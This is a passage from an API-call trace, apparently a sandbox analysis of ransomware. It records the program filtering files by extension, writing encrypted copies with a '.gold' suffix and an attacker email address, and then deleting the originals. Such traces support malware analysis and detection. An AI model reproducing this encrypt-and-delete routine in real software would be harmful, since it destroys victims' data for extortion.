(lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.827] lstrlenW (lpString=".ppt") returned 4 [0047.827] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0047.827] lstrlenW (lpString=".zip") returned 4 [0047.827] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.828] lstrlenW (lpString=".rar") returned 4 [0047.828] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.828] lstrlenW (lpString=".bz2") returned 4 [0047.828] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.828] lstrlenW (lpString=".7z") returned 3 [0047.828] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0047.828] lstrlenW (lpString=".dbf") returned 4 [0047.828] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0047.828] lstrlenW (lpString=".1cd") returned 4 [0047.828] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0047.828] lstrlenW (lpString=".jpg") returned 4 [0047.828] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.828] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.828] lstrlenW (lpString="AG00135_.GIF") returned 12 [0047.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.424] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2596) returned 1 [0048.424] CloseHandle (hObject=0x178) returned 1 [0048.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0048.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.424] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.424] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.425] GetLastError () returned 0x0 [0048.425] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xa24, lpOverlapped=0x0) returned 1 [0048.427] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0048.427] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.427] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.427] SetEndOfFile (hFile=0x20c) returned 1 [0048.427] CloseHandle (hObject=0x20c) returned 1 [0048.428] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.428] SetEndOfFile (hFile=0x178) returned 1 [0048.428] CloseHandle (hObject=0x178) returned 1 [0048.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0048.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.429] lstrlenW (lpString=".doc") returned 4 [0048.429] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.429] lstrlenW (lpString=".docx") returned 5 [0048.429] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.429] lstrlenW (lpString=".pdf") returned 4 [0048.429] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.429] lstrlenW (lpString=".xls") returned 4 [0048.429] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.429] lstrlenW (lpString=".xlsx") returned 5 [0048.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.429] lstrlenW (lpString=".ppt") returned 4 [0048.429] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.429] lstrlenW (lpString=".zip") returned 4 [0048.429] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.429] lstrlenW (lpString=".rar") returned 4 [0048.429] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.429] lstrlenW (lpString=".bz2") returned 4 [0048.429] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.429] lstrlenW (lpString=".7z") returned 3 [0048.429] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.429] lstrlenW (lpString=".dbf") returned 4 [0048.429] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.429] lstrlenW (lpString=".1cd") returned 4 [0048.429] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.429] lstrlenW (lpString=".jpg") returned 4 [0048.429] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.429] lstrlenW (lpString=".doc") returned 4 [0048.429] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.429] lstrlenW (lpString=".docx") returned 5 [0048.429] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.429] lstrlenW (lpString=".pdf") returned 4 [0048.429] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.429] lstrlenW (lpString=".xls") returned 4 [0048.429] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.429] lstrlenW (lpString=".xlsx") returned 5 [0048.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.430] lstrlenW (lpString=".ppt") returned 4 [0048.430] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.430] lstrlenW (lpString=".zip") returned 4 [0048.430] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.430] lstrlenW (lpString=".rar") returned 4 [0048.430] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.430] lstrlenW (lpString=".bz2") returned 4 [0048.430] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.430] lstrlenW (lpString=".7z") returned 3 [0048.430] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.430] lstrlenW (lpString=".dbf") returned 4 [0048.430] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.430] lstrlenW (lpString=".1cd") returned 4 [0048.430] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.430] lstrlenW (lpString=".jpg") returned 4 [0048.430] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.430] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.430] lstrlenW (lpString="AN00015_.WMF") returned 12 [0048.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.430] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=4734) returned 1 [0048.430] CloseHandle (hObject=0x178) returned 1 [0048.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0048.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.430] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.431] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.431] GetLastError () returned 0x0 [0048.431] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x127e, lpOverlapped=0x0) returned 1 [0048.432] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1280, lpOverlapped=0x0) returned 1 [0048.433] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.433] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.433] SetEndOfFile (hFile=0x20c) returned 1 [0048.433] CloseHandle (hObject=0x20c) returned 1 [0048.433] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.433] SetEndOfFile (hFile=0x178) returned 1 [0048.434] CloseHandle (hObject=0x178) returned 1 [0048.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0048.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0048.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0048.434] lstrlenW (lpString=".doc") returned 4 [0048.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.434] lstrlenW (lpString=".docx") returned 5 [0048.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.434] lstrlenW (lpString=".pdf") returned 4 [0048.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.434] lstrlenW (lpString=".xls") returned 4 [0048.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.434] lstrlenW (lpString=".xlsx") returned 5 [0048.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.434] lstrlenW (lpString=".ppt") returned 4 [0048.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0048.435] lstrlenW (lpString=".zip") returned 4 [0048.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.435] lstrlenW (lpString=".rar") returned 4 [0048.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString=".bz2") returned 4 [0048.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString=".7z") returned 3 [0048.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0048.435] lstrlenW (lpString=".dbf") returned 4 [0048.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0048.435] lstrlenW (lpString=".1cd") returned 4 [0048.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0048.435] lstrlenW (lpString=".jpg") returned 4 [0048.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0048.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0048.435] lstrlenW (lpString=".doc") returned 4 [0048.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString=".docx") returned 5 [0048.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.435] lstrlenW (lpString=".pdf") returned 4 [0048.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString=".xls") returned 4 [0048.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.435] lstrlenW (lpString=".xlsx") returned 5 [0048.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.435] lstrlenW (lpString=".ppt") returned 4 [0048.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0048.435] lstrlenW (lpString=".zip") returned 4 [0048.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.435] lstrlenW (lpString=".rar") returned 4 [0048.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString=".bz2") returned 4 [0048.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString=".7z") returned 3 [0048.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0048.435] lstrlenW (lpString=".dbf") returned 4 [0048.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0048.435] lstrlenW (lpString=".1cd") returned 4 [0048.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0048.435] lstrlenW (lpString=".jpg") returned 4 [0048.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.436] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.436] lstrlenW (lpString="AN00790_.WMF") returned 12 [0048.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.436] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=5684) returned 1 [0048.436] CloseHandle (hObject=0x178) returned 1 [0048.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0048.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.437] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.437] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.437] GetLastError () returned 0x0 [0048.437] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1634, lpOverlapped=0x0) returned 1 [0048.438] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1640, lpOverlapped=0x0) returned 1 [0048.439] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.439] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.439] SetEndOfFile (hFile=0x20c) returned 1 [0048.439] CloseHandle (hObject=0x20c) returned 1 [0048.439] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.439] SetEndOfFile (hFile=0x178) returned 1 [0048.440] CloseHandle (hObject=0x178) returned 1 [0048.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0048.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0048.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0048.440] lstrlenW (lpString=".doc") returned 4 [0048.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.440] lstrlenW (lpString=".docx") returned 5 [0048.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.440] lstrlenW (lpString=".pdf") returned 4 [0048.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.440] lstrlenW (lpString=".xls") returned 4 [0048.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.440] lstrlenW (lpString=".xlsx") returned 5 [0048.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.440] lstrlenW (lpString=".ppt") returned 4 [0048.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0048.440] lstrlenW (lpString=".zip") returned 4 [0048.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.440] lstrlenW (lpString=".rar") returned 4 [0048.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.441] lstrlenW (lpString=".bz2") returned 4 [0048.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.441] lstrlenW (lpString=".7z") returned 3 [0048.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0048.441] lstrlenW (lpString=".dbf") returned 4 [0048.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0048.441] lstrlenW (lpString=".1cd") returned 4 [0048.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0048.441] lstrlenW (lpString=".jpg") returned 4 [0048.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0048.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0048.441] lstrlenW (lpString=".doc") returned 4 [0048.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.441] lstrlenW (lpString=".docx") returned 5 [0048.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.441] lstrlenW (lpString=".pdf") returned 4 [0048.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.441] lstrlenW (lpString=".xls") returned 4 [0048.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.441] lstrlenW (lpString=".xlsx") returned 5 [0048.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.441] lstrlenW (lpString=".ppt") returned 4 [0048.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0048.441] lstrlenW (lpString=".zip") returned 4 [0048.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.441] lstrlenW (lpString=".rar") returned 4 [0048.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.441] lstrlenW (lpString=".bz2") returned 4 [0048.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.441] lstrlenW (lpString=".7z") returned 3 [0048.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0048.441] lstrlenW (lpString=".dbf") returned 4 [0048.441] lstrcmpiW 